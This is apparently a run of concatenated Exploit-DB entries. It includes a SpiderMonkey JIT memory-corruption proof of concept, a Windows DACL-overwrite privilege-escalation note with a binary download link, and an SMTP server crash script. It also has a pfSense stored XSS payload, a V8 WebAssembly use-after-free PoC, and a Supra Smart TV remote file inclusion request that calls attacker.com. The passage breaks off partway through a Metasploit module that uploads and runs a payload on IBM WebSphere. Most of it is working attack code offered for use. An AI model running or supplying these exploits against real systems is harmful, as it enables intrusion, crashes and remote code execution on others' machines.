   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3)     |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Here, Phi Elimination decided that x2 is an unobservable Phi as it is not used anywhere. As such, it replaces it with a MagicOptimizedOut value. However, when block 2 is executed in the JITed code, it will perform a bailout and restore x as JS_OPTIMIZED_OUT magic value. This is incorrect as the interpreter/baseline JIT will use x once it reaches the inner loop. There, x (now the optimized out magic) is used for a ToBoolean conversion, which crashes (in a non exploitable way) when reaching this code:

    JS_PUBLIC_API bool js::ToBooleanSlow(HandleValue v) {
      ...;
      MOZ_ASSERT(v.isObject());
      return !EmulatesUndefined(&v.toObject());     // toObject will return an invalid pointer for a magic value
    }


A similar scenario is described in FlagPhiInputsAsHavingRemovedUses [9], which is apparently supposed to prevent this from happening by marking x2 as useRemoved during branch pruning. However, in this case, FlagPhiInputsAsHavingRemovedUses fails to mark x2 as useRemoved as it concludes that x4 is also unused: basically, FlagPhiInputsAsHavingRemovedUses invokes DepthFirstSearchUse [10] to figure out whether some Phi is used by performing a depth-first search over all uses. If it finds a non-Phi use, it returns true. In block 5 above (which are really multiple blocks), x4 is used by another Phi, x5, which is then used by a "real" instruction. DepthFirstSearchUse now visits x5 and puts it into the worklist. It then eventually finds x4 and:

* finds x5 as use, but as x5 is already in the worklist it skips it [11]
* finds no other uses, and thus (incorrectly?) marks x4 as unused [12]

As such, x2 is later on not marked as useRemove since its only use (x4) appears to be unused anyways.

# Exploitation

It is possible get a reference to the magic JS_OPTIMIZED_OUT value by changing the body of the inner for loop to something like this:

        for (let v25 = 0; v25 < 100000; v25++) {
            // Should never be taken, but will be after triggering the bug (because both v3 and v1
            // will be a JS_OPTIMIZED_OUT magic value).
            if (v3 === v1) {
                let magic = v3;
                console.log("Magic is happening!");
                // do something with magic
                return;
            }
            if (v1) {
            } else {
                const v26 = {get:v8};
                for (let v30 = 0; v30 < 1000; v30++) { }
            }
        }

Afterwards, the magic value will be stored in a local variable and can be freely used. What remains now is a way to use the magic value to cause further misbehaviour in the engine.

Spidermonkey uses different JSMagic values in various places. These places commonly check for the existence of some specific magic value by calling `.isMagic(expectedMagicType)` on the value in question. For example, to check for the magic hole element, the code would invoke `elem.isMagic(JS_ELEMENTS_HOLE)`. The implementation of `isMagic` is shown below:

  bool isMagic(JSWhyMagic why) const {
    MOZ_ASSERT_IF(isMagic(), s_.payload_.why_ == why);
    return isMagic();
  }

Interestingly, this way of implementing it makes it possible to supply a different magic value than the expected one while still causing this function to return true, thus making the caller believe that it has the right magic value. As such, the JS_OPTIMIZED_OUT magic value can, in many cases, be used as any other magic value in the code.

One interesting use of magic values is JS_OPTIMIZED_ARGUMENTS, representing the `arguments` object. The idea is that e.g.

    function foo() {
        print(arguments[0]);
    }

Gets compiled to bytecode such as:

    push JS_OPTIMIZED_ARGUMENTS
    LoadElem 0
    call print

The special handling for the magic value is then performed here:

    static bool DoGetElemFallback(JSContext* cx, BaselineFrame* frame,
                                  ICGetElem_Fallback* stub, HandleValue lhs,
                                  HandleValue rhs, MutableHandleValue res) {
      // ...

      bool isOptimizedArgs = false;
      if (lhs.isMagic(JS_OPTIMIZED_ARGUMENTS)) {
        // Handle optimized arguments[i] access.
        if (!GetElemOptimizedArguments(cx, frame, &lhsCopy, rhs, res,
                                       &isOptimizedArgs)) {
          return false;
        }

      // ...

Which eventually ends up in:

    inline Value& InterpreterFrame::unaliasedActual(
      unsigned i, MaybeCheckAliasing checkAliasing) {
        MOZ_ASSERT(i < numActualArgs());
        MOZ_ASSERT_IF(checkAliasing, !script()->argsObjAliasesFormals());
        MOZ_ASSERT_IF(checkAliasing && i < numFormalArgs(),
                      !script()->formalIsAliased(i));
        return argv()[i];         // really is just argv_[i];
    }

An InterpreterFrame [13] is an object representing the invocation context of a JavaScript function.
Basically, there are two types of InterpreterFrames: CallFrames [14], which are used for regular function calls and thus has nactul_ (the number of arguments) and argv_ (a pointer to the argument values) initialized, and ExecuteFrame [15], which are e.g. used for eval()ed code. Interestingly, ExecuteFrames leave nactual_ and argv_ uninitialized, which is normally fine as code would never access these fields in an ExecuteFrame. However, by having a reference to a magic value, it now becomes possible to trick the engine into believing that whatever frame is currently active is a CallFrame and thus has a valid argv_ pointer by loading an element from the magic value (`magic[i]` in JS). Conveniently, InterpreterFrames are allocated by a bump allocator, used solely for the interpreter stack. As such, the allocations are very deterministic and it is easily possible to overlap the uninitialized member with any other data that is stored on the interpreter stack, such as local variables of functions.

The following PoC (tested against a local Spidermonkey build and Firefox 65.0.1) demonstrates this. It will first trigger the bug to leak the magic JS_OPTIMIZED_OUT value. Afterwards, it puts a controlled value (0x414141414141 in binary) on the interpreter stack (in fill_stack), then uses the magic value from inside an eval frame of which the argv_ pointer overlaps with the controlled value. Spidermonkey will then assume that the current frame must be a FunctionFrame and treat the value as an argv_ pointer, thus crashing at 0x414141414141.

    // This function uses roughly sizeof(InterpreterFrame) + 14 * 8 bytes of interpreter stack memory.
    function fill_stack() {
        // Use lot's of stack slots to increase the allocation size of this InterpreterFrame.
        var v1, v2, v3, v4, v5, v6, v7, v8, v9, v10, v11, v12, v13;
        // Will overlap with the argv_ pointer in the InterpreterFrame for the call to eval.
        var v14 = 3.54484805889626e-310;
    }

    // This function uses roughly sizeof(InterpreterFrame) bytes of interpreter stack memory. The inner
    // call to eval will get its own InterpreterFrame, which leaves the argv_ pointer uninitialized
    // (since it's an eval frame). However, due to having a magic value here, it is possible to trick
    // the interpreter into accessing argv_ (because it assumes that the magic value represents an
    // `arguments` object). The argv_ pointer of the inner frame will then overlap with one of the
    // variables of the previous function, and is thus fully controllable.
    function trigger(magic) {
        eval(`magic[0]`);
    }

    // Invoke the two functions above to achieve memory corruption given a magic JS::Value.
    function hax(magic) {
        fill_stack();
        trigger(magic);
    }

    function pwn() {
        const v1 = "adsf";
        const v3 = "not_asdf";
        for (let v7 = 0; v7 < 2; v7++) {
            function v8() {
                let v13 = 0;
                do {
                    v13++;
                } while (v13 < 1200000);
                // If the previous loop runs long enough, IonMonkey will JIT compile v8 and enter the
                // JITed code via OSR. This will leave the hitCount for the loop exit in the interpreter
                // at 0 (because the exit is taken in JITed code). This in turn will lead to IonMonkey
                // pruning the loop exit when compiling pwn() (with inlined v8), as its heuristics
                // suggest that the branch is never taken (hitCount == 0 and a few more). This will then
                // lead to the incorrect removal of Phi nodes, and ultimately the leaking of a
                // JS_OPTMIZED_OUT magic value to the baseline JIT, where it is observable for the
                // current script.
            }
            const v15 = v8();
            for (let v25 = 0; v25 < 100000; v25++) {
                // Should never be taken, but will be after triggering the bug (because both v3 and v1
                // will be a JS_OPTIMIZED_OUT magic value).
                if (v3 === v1) {
                    let magic = v3;
                    console.log("Magic is happening!");
                    hax(magic);
                    return;
                }
                if (v1) {
                } else {
                    const v26 = {get:v8};
                    for (let v30 = 0; v30 < 1000; v30++) { }
                }
            }
        }
    }
    pwn();

[1]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L276
[2]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L53
[3]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L191
[4]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1382
[5]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonTypes.h#L447
[6]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/public/Value.h#L223
[7]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/MIR.h#L129
[8]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L1330
[9]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L146
[10]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L41
[11]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L106
[12]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/jit/IonAnalysis.cpp#L135
[13]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.h#L85
[14]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack-inl.h#L51
[15]  https://github.com/mozilla/gecko-dev/blob/cfffcfb4c03737d963945c2025bbbe75beef45c6/js/src/vm/Stack.cpp#L35


Fixed in  https://www.mozilla.org/en-US/security/advisories/mfsa2019-08/#CVE-2019-9792

The issue was fixed in two ways:

1. In  https://hg.mozilla.org/releases/mozilla-beta/rev/5f4ba71d48892ddfc9e800aec521a46eaae175fd the debug assertion in isMagic was changed into a release assert, preventing the exploitation of leaked JS_MAGIC values as described above.

2. In  https://hg.mozilla.org/mozilla-central/rev/044a64c70a3b the DFS in DepthFirstSearchUse was modified to (conservatively) mark Phis in loops as used. A more complex implementation which can correctly determine whether Phis inside loops are actually used remains as a separate bug.
            
There is still a vuln in the code triggered by CVE-2019-0841

The bug that this guy found: https://krbtgt.pw/dacl-permissions-overwrite-privilege-escalation-cve-2019-0841/

If you create the following:

(GetFavDirectory() gets the local appdata folder, fyi)

CreateDirectory(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe",NULL);
CreateNativeHardlink(GetFavDirectory() + L"\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe\\bear3.txt", L"C:\\Windows\\win.ini");

If we create that directory and put an hardlink in it, it will write the DACL.

!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Microsoft.MicrosoftEdge_44.17763.1.0_neutral__8wekyb3d8bbwe this part (i.e 44.17763.1.0) has to reflect the currently installed edge version, you will need to mofidy this in the PoC (polarbear.exe) if different.
You can find this by opening edge -> settings and scrolling down.
Best thing is to just create a folder and hardlink for all the recent edge versions when writing an exploit. But I guess you can also probably get the installed version programmatically.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!IMPORTANT!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!


To repro:

1. Run polarbear.exe
2. Run windowsappslpe.exe (doesn't matter what file you pass in commandline.. will just make win.ini write-able.. rewrite the original PoC yourself)

Use the vide demo as guidance..

EDB Note: Download ~ https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46938.zip
            
#Exploit Title: Free SMTP Server - Local Denial of Service Crash (PoC)
# Date: February 3, 2009
# Exploit Author: Metin Kandemir (kandemir)
# Vendor Homepage: http://www.softstack.com/freesmtp.html
# Software Link: https://free-smtp-server.en.uptodown.com/windows/download
# Version: 2.5
# Tested on: Windows 7 Service Pack 1 x64
# Software Description : Free SMTP server program to send emails directly from PC.
# ==================================================================
# The SMTP Server will crash when this code is run on localhost. 

import socket

a=1
buffer = ["A"]
while a <= 20000:
        a = a+1
        buffer.append("A"*a)


for string in buffer:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        connect =  s.connect(('127.0.0.1',25))
        s.send(string)
            
# Exploit Title: pfSense 2.4.4-p3 (ACMEPackage 0.5.7_1) - Stored Cross-Site Scripting 
# Date: 05.28.2019 
# Exploit Author: Chi Tran
# Vendor Homepage: https://www.pfsense.org 
# Version: 2.4.4-p3/0.5.7_1
# Software Link: N/A
# Google Dork: N/A
# CVE:2019-12347 

################################################################################################################################## 
Introduction pfSense® software is a free, open source customized distribution of FreeBSD specifically tailored for use as a firewall and router that is entirely managed via web interface. 
In addition to being a powerful, flexible firewalling and routing platform, it includes a long list of related features and a package system allowing further expandability without adding bloat and potential security vulnerabilities to the base distribution. 

The ACME Package for pfSense interfaces with Let’s Encrypt to handle the certificate generation, validation, and  renewal processes. (https://docs.netgate.com/pfsense/en/latest/certificates/acme-package.html)
################################################################################# 

Proof of Concepts:

1 - Navigate to https://192.168.1.1/acme/acme_accountkeys_edit.php 
2 - In the "Name" and "Description" field, input payload: "><svg/onload=alert(1)>
3 - XSS box will then pop-up
            
<!--
VULNERABILITY DETAILS
https://cs.chromium.org/chromium/src/v8/src/wasm/wasm-objects.cc?rcl=783343158eb1b147df7e6669f1d03c690c878e21&l=1253
```
int32_t WasmMemoryObject::Grow(Isolate* isolate,
                               Handle<WasmMemoryObject> memory_object,
                               uint32_t pages) {
[...]
  Handle<JSArrayBuffer> new_buffer;
  if (old_buffer->is_shared()) {
    // Adjust protections for the buffer.
    if (!AdjustBufferPermissions(isolate, old_buffer, new_size)) {
      return -1;
    }
    void* backing_store = old_buffer->backing_store();
    if (memory_tracker->IsWasmSharedMemory(backing_store)) {
      // This memory is shared between different isolates.
      DCHECK(old_buffer->is_shared());
      // Update pending grow state, and trigger a grow interrupt on all the
      // isolates that share this buffer.
      memory_tracker->SetPendingUpdateOnGrow(old_buffer, new_size);
      // Handle interrupts for this isolate so that the instances with this
      // isolate are updated.
      isolate->stack_guard()->HandleInterrupts();
      // Failure to allocate, or adjust pemissions already handled here, and
      // updates to instances handled in the interrupt handler safe to return.
      return static_cast<uint32_t>(old_size / wasm::kWasmPageSize);
    }
    // SharedArrayBuffer, but not shared across isolates. Setup a new buffer
    // with updated permissions and update the instances.
    new_buffer =
        wasm::SetupArrayBuffer(isolate, backing_store, new_size, // ***1***
                               old_buffer->is_external(), SharedFlag::kShared);
    memory_object->update_instances(isolate, new_buffer);
[...]
```

When `Grow` is called on a `WebAssembly.Memory` object that's backed by a `SharedArrayBuffer`, it
uses the buffer's backing store pointer to construct a new array buffer[1]. Calling `Detach` on
shared buffers is prohibited by the spec, so the the method just leaves the old one as it is. Thus
two array buffers might end up owning the same backing store, and if one of the them got garbage
collected, the other one would point to a freed memory region.

Blink's SharedArrayBuffer implementation uses reference-counted backing stores, so v8 should
probably implement something similar.

VERSION
Google Chrome 73.0.3683.103 (Official Build) (64-bit) (cohort: Stable)
Chromium 75.0.3758.0 (Developer Build) (64-bit)
This bug affects the stable branch due to the currently active "WebAssembly Threads" Origin Trial.
https://developers.chrome.com/origintrials/#/view_trial/-5026017184145473535

REPRODUCTION CASE
-->

<script>
function gc() {
  for (let i = 0; i < 50; ++i) {
    let buffer = new ArrayBuffer(1024 * 1024);
  }
}

setInterval(() => {
  memory = new WebAssembly.Memory({initial: 1, maximum: 2, shared: true});
  memory.grow(1);
  gc();
  array = new Int8Array(memory.buffer);
  array[0x1337] = 1;
});
</script>

<!--
CREDIT INFORMATION
Sergei Glazunov of Google Project Zero
-->
            
Exploit Title: Remote file inclusion
# Date: 03-06-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: https://supra.ru
# Software Link: https://supra.ru/catalog/televizory/televizor_supra_stv_lc40lt0020f/
# CVE: CVE-2019-12477
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12477
# https://www.inputzero.io/2019/06/hacking-smart-tv.html

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL
function, which allows a local attacker to broadcast fake video without any
authentication via a /remote/media_control?action=setUri&uri=URI

Technical Observation:
We are abusing `openLiveURL()` which allows a local attacker to broadcast
video on supra smart cloud TV. I found this vulnerability initially by
source code review and then by crawling the application and reading every
request helped me to trigger this vulnerability.

Vulnerable code:

     function openLiveTV(url)
      {
      $.get("/remote/media_control",
{m_action:'setUri',m_uri:url,m_type:'video/*'},
       function (data, textStatus){
       if("success"==textStatus){
        alert(textStatus);
       }else
       {
        alert(textStatus);
       }
      });
      }

Vulnerable request:

    GET /remote/media_control?action=setUri&uri=
http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
    Host: 192.168.1.155
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0)
Gecko/20100101 Firefox/66.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: en-US,en;q=0.5
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use
`curl -v -X GET` to send such request, typically this is an unauth remote
file inclusion. An attacker could broadcast any video without any
authentication, the worst case attacker could leverage this vulnerability
to broadcast a fake emergency message.
            
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Powershell
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'IBM Websphere Application Server Network Deployment Untrusted Data Deserialization Remote Code Execution',
      'Description' => %(
        This module exploits untrusted serialized data processed by the WAS DMGR Server and Cells.
        NOTE: There is a required 2 minute timeout between attempts as the neighbor being added must be reset.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'b0yd' # @rwincey of [Securifera](https://www.securifera.com/) / Vulnerability Discovery and MSF module author
        ],
      'References' =>
        [
          ['CVE', '2019-8352'],
          ['URL', 'https://www-01.ibm.com/support/docview.wss?uid=ibm10883628']
        ],
      'Platform' => ['win'],
      'Targets' =>
        [
          [
            'Windows Binary', {
              'Arch'     => [ARCH_X86, ARCH_X64],
              'Platform' => 'win'
            }
          ],
          [
            'CMD', {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'Payload' => {'Compat' => {'RequiredCmd' => 'generic'}}
            }
          ]
        ],
      'Privileged' => true,
      'DefaultTarget' => 0,
      'DisclosureDate' => 'May 15 2019'))

    register_options(
      [
        Opt::RPORT(11006), # 11002,11004,11006,etc
        OptBool.new('SSL', [true, 'Negotiate SSL/TLS', true]),
        OptRaw.new('SSLVersion', [true, 'Default Version for WASND ', 'SSLv3']),
        OptRaw.new('SSLVerifyMode', [true, 'SSL verification method', 'CLIENT_ONCE']),
        OptString.new('SSLCipher', [true, 'SSL Cipher string ', 'ALL'])
      ]
    )
  end

  def cleanup
    disconnect
    print_status('Disconnected from IBM Websphere DMGR.')
    super
  end

  def exploit
    command = nil

    if target.name == 'CMD'
      fail_with(Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") unless datastore['CMD']
      command = datastore['CMD']
    end
    # Connect to IBM Websphere Application Server
    connect
    print_status("Connected to IBM WAS DMGR.")

    node_port = datastore['RPORT']

    # Send packet to add neighbor
    enc_stream = construct_tcp_node_msg(node_port)
    send_msg(enc_stream)

    sock.get_once
    print_status('Server responded')

    # Generate binary name
    bin_name = rand_text_alpha(8)

    if command
      command = datastore['CMD']
      payload_contents = command.to_s
      print_status('Executing command: ' + payload_contents)
      bin_name << ".bat"
    else
      payload_contents = generate_payload_exe(code: payload.generate)
      bin_name << ".exe"
    end

    print_status("Sending payload: #{bin_name}")
    enc_stream = construct_bcast_task_msg(node_port, "..\\..\\..\\" + bin_name, payload_contents, bin_name)
    send_msg(enc_stream)
    register_file_for_cleanup(bin_name)
  end

  def send_msg(enc_stream)
    pkt = [0x396fb74a].pack('N')
    pkt += [enc_stream.length + 1].pack('N')
    pkt += "\x00"
    pkt += enc_stream

    # Send msg
    sock.put(pkt)
  end

  def construct_tcp_node_msg(node_port)
    p2p_obj = Rex::Java::Serialization::Model::NewObject.new
    p2p_obj.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    p2p_obj.class_desc.description = build_p2p_node_class(p2p_obj)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_tcp_node_msg(object, 12, "0.0.0.0", node_port, p2p_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.contents << Rex::Java::Serialization::Model::EndBlockData.new
    stream.contents << Rex::Java::Serialization::Model::NullReference.new
    stream.encode
  end

  def construct_bcast_task_msg(node_port, filename, byte_str, cmd)
    # Add upload file argument
    byte_arr = byte_str.unpack("C*")
    upfile_arg_obj = build_upfile_arg_class(filename, byte_arr, cmd)

    # Create the obj
    object = Rex::Java::Serialization::Model::NewObject.new
    object.class_desc = Rex::Java::Serialization::Model::ClassDesc.new
    object.class_desc.description = build_bcast_run_task_msg(object, 41, "0.0.0.0", node_port, upfile_arg_obj)

    # Create the stream and add the object
    stream = Rex::Java::Serialization::Model::Stream.new
    stream.contents = []
    stream.contents << object
    stream.encode
  end

  def build_message(obj, msg_id, msg_type, orig_cell_field_type)
    # Create the integer field and add the reference
    id_field = Rex::Java::Serialization::Model::Field.new
    id_field.type = 'int'
    id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ID')

    # Create the integer field and add the reference
    type_field = Rex::Java::Serialization::Model::Field.new
    type_field.type = 'int'
    type_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'type')

    # Create the object field and add the reference
    new_field = Rex::Java::Serialization::Model::Field.new
    new_field.type = 'object'
    new_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'originatingCell')
    new_field.field_type = orig_cell_field_type

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.Message')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << id_field
    msg_class_desc.fields << type_field
    msg_class_desc.fields << new_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Set the member values
    obj.class_data << ['int', msg_id]
    obj.class_data << ['int', msg_type]
    obj.class_data << Rex::Java::Serialization::Model::NullReference.new

    msg_class_desc
  end

  def build_bcast_flood_msg(obj, msg_type, source_ip, source_port)
    prng = Random.new
    msg_id = prng.rand(4294967295)

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 1

    msg_obj = build_message(obj, msg_id, msg_type, field_ref)

    # Create the integer field and add the reference
    id_field = Rex::Java::Serialization::Model::Field.new
    id_field.type = 'int'
    id_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceMsgID')

    # Create the integer field and add the reference
    port_field = Rex::Java::Serialization::Model::Field.new
    port_field.type = 'int'
    port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceUdpPort')

    # Create the object field and add the reference
    ip_arr_field = Rex::Java::Serialization::Model::Field.new
    ip_arr_field.type = 'array'
    ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'sourceIP')
    ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.BcastFloodMsg')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << id_field
    msg_class_desc.fields << port_field
    msg_class_desc.fields << ip_arr_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Construct IP Array
    ip_arr = source_ip.split(".").map(&:to_i)
    builder = Rex::Java::Serialization::Builder.new
    values_array = builder.new_array(
      values_type: 'byte',
      values: ip_arr,
      name: '[B',
      serial: 0x42acf317f8060854e0,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    # Set the member values
    obj.class_data << ['int', msg_id]
    obj.class_data << ['int', source_port]
    obj.class_data << values_array

    msg_class_desc
  end

  def build_tcp_node_msg(obj, msg_type, source_ip, source_port, p2p_obj)
    prng = Random.new
    msg_id = prng.rand(4294967295)

    # Create the field type for the origCell
    field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Ljava/lang/String;")
    msg_obj = build_message(obj, msg_id, msg_type, field_type)

    # Create the port field and add the reference
    boot_time_field = Rex::Java::Serialization::Model::Field.new
    boot_time_field.type = 'long'
    boot_time_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bootTime')

    # Create the port field and add the reference
    tcp_port_field = Rex::Java::Serialization::Model::Field.new
    tcp_port_field.type = 'int'
    tcp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'tcpPort')

    # Create the port field and add the reference
    udp_port_field = Rex::Java::Serialization::Model::Field.new
    udp_port_field.type = 'int'
    udp_port_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'udpPort')

    # Create the object field and add the reference
    ip_arr_field = Rex::Java::Serialization::Model::Field.new
    ip_arr_field.type = 'array'
    ip_arr_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'ip')
    ip_arr_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, '[B')

    # Create the task object field and add field_type
    node_prop_field = Rex::Java::Serialization::Model::Field.new
    node_prop_field.type = 'object'
    node_prop_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'nodeProperty')
    node_prop_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, "Lcom/ibm/son/mesh/AppLevelNodeProperty;")

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.TcpNodeMessage')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << boot_time_field
    msg_class_desc.fields << tcp_port_field
    msg_class_desc.fields << udp_port_field
    msg_class_desc.fields << ip_arr_field
    msg_class_desc.fields << node_prop_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = msg_obj

    # Construct IP Array
    ip_arr = source_ip.split(".").map(&:to_i)
    builder = Rex::Java::Serialization::Builder.new
    values_array = builder.new_array(
      values_type: 'byte',
      values: ip_arr,
      name: '[B',
      serial: 0x42acf317f8060854e0,
      annotations: [Rex::Java::Serialization::Model::EndBlockData.new]
    )

    # Set the member values
    obj.class_data << ['long', 0]
    obj.class_data << ['int', source_port]
    obj.class_data << ['int', source_port]
    obj.class_data << values_array
    obj.class_data << p2p_obj

    msg_class_desc
  end

  def build_app_node_class(obj)
    # Create the structured gateway field and add the reference
    struct_bool_field = Rex::Java::Serialization::Model::Field.new
    struct_bool_field.type = 'boolean'
    struct_bool_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'structuredGateway')

    # Create the version field and add the reference
    version_field = Rex::Java::Serialization::Model::Field.new
    version_field.type = 'int'
    version_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'version')

    # Create the object field and add the reference
    bridge_field = Rex::Java::Serialization::Model::Field.new
    bridge_field.type = 'object'
    bridge_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'bridgedCellsList')
    bridge_field.field_type = Rex::Java::Serialization::Model::Utf.new(nil, 'Ljava/util/List;')

    # Create the field ref
    field_ref = Rex::Java::Serialization::Model::Reference.new
    field_ref.handle = Rex::Java::Serialization::BASE_WIRE_HANDLE + 4

    # Create the cellname field and add the reference
    cellname_field = Rex::Java::Serialization::Model::Field.new
    cellname_field.type = 'object'
    cellname_field.name = Rex::Java::Serialization::Model::Utf.new(nil, 'cellName')
    cellname_field.field_type = field_ref

    # Create the class description
    msg_class_desc = Rex::Java::Serialization::Model::NewClassDesc.new
    msg_class_desc.class_name = Rex::Java::Serialization::Model::Utf.new(nil, 'com.ibm.son.mesh.AppLevelNodeProperty')
    msg_class_desc.serial_version = 1
    msg_class_desc.flags = 2
    msg_class_desc.fields = []
    msg_class_desc.fields << struct_bool_field
    msg_class_desc.fields << version_field
    msg_class_desc.fields << bridge_field
    msg_class_desc.fields << cellname_field

    # Add annotations
    msg_class_desc.class_annotation = Rex::Java::Serialization::Model::Annotation.new
    msg_class_desc.class_annotation.contents = [Rex::Java::Serialization::Model::EndBlockData.new]

    # Add superclass
    msg_class_desc.super_class = Rex::Java::Serialization::Model::ClassDesc.new
    msg_class_desc.super_class.description = Rex::Java::Serialization::Model::NullReference.new

    # Set the member values
    obj.class_data << ['boolean', 0]
    obj.class_data << ['int', 0]
